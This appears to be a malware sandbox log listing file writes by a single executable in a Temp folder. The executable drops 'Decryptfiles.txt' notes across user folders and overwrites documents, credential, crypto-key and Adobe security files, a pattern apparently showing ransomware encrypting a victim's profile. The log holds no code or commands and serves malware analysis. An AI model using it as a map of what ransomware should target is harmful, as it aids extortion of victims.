Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\SNIPGPPREP.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\UNKRLCVOHV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\UNKRLCVOHV\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\UNKRLCVOHV\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\UNKRLCVOHV\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\VWDFPKGDUF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\WDBWCPEFJW\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\VWDFPKGDUF.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Desktop\WSHEJMDVQC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\ATJBEMHSSB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\BQJUWOYRTO\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\BWETZDQDIB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV\LHEPQPGEWF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HMPPSXQPQV.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LFOPODGVOH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LFOPODGVOH\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LFOPODGVOH\LFOPODGVOH.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LIJDSFKJZG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LIJDSFKJZG\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LIJDSFKJZG\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LIJDSFKJZG\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Music\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\LIJDSFKJZG.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Pictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Videos\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\NIRMEKAMZH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\QFAPOWPAFG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\UBVUNTSCZJ\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\SNIPGPPREP.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\UNKRLCVOHV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\UNKRLCVOHV\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\UNKRLCVOHV\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\UNKRLCVOHV\VWDFPKGDUF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\VWDFPKGDUF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\WDBWCPEFJW\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Documents\WSHEJMDVQC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\downloaded.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\downloaded.pdf offset: 311296
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\LFOPODGVOH.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\LHEPQPGEWF.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\LHEPQPGEWF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Downloads\VWDFPKGDUF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Pictures\Camera Roll\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Pictures\Saved Pictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\.ms-ad\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\.curlrc.SuMh offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\3D Objects\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\.curlrc.echn offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Collab\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Forms\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata offset: 12288
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei offset: 20480
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store offset: 8192
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\Preflight Acrobat Continuous\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\CRLogs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\CRLogs\crashlogs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Flash Player\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Flash Player\NativeCache\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Headlights\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Linguistics\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\LogTransport2\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\LogTransport2CC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\RTTransfer\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Sonar\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Adobe\Sonar\SonarCC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\56079431-ea46-4833-94f9-1ff5658cdb1c\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\61f56613-c62c-4b17-84dd-62b60d5776aa\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\6d9d9777-7ded-4768-8191-9a707d72b009\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\com.adobe.dunamis\f2eb6c79-671d-4de2-b7be-3b2eea7abc47\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\AddIns\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Credentials\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\Keys\de7cf8a7901d2ad13e5c67c29e5d1662_9e146be9-c76a-4720-bcdb-53011b87bd06 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Excel\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Excel\XLSTART\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Network\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Protect\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk.XxpC offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Protect\CREDHIST offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\0837c0eb-5e12-485a-b8a4-e50f73c1d92b offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Speech\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Spelling\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\AppContainerUserCertRead.bEiR offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Vault\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\AccountPictures\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\CloudStore\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Network Shortcuts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BYIMNPJCRL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUKNXICOZT.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DWTHNHNNJB.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DWTHNHNNJB.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DWTHNHNNJB.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFDEXQWKNW.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFDEXQWKNW.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNLQNHOLWB.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GNLQNHOLWB.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HMPPSXQPQV.jpg offset: 0
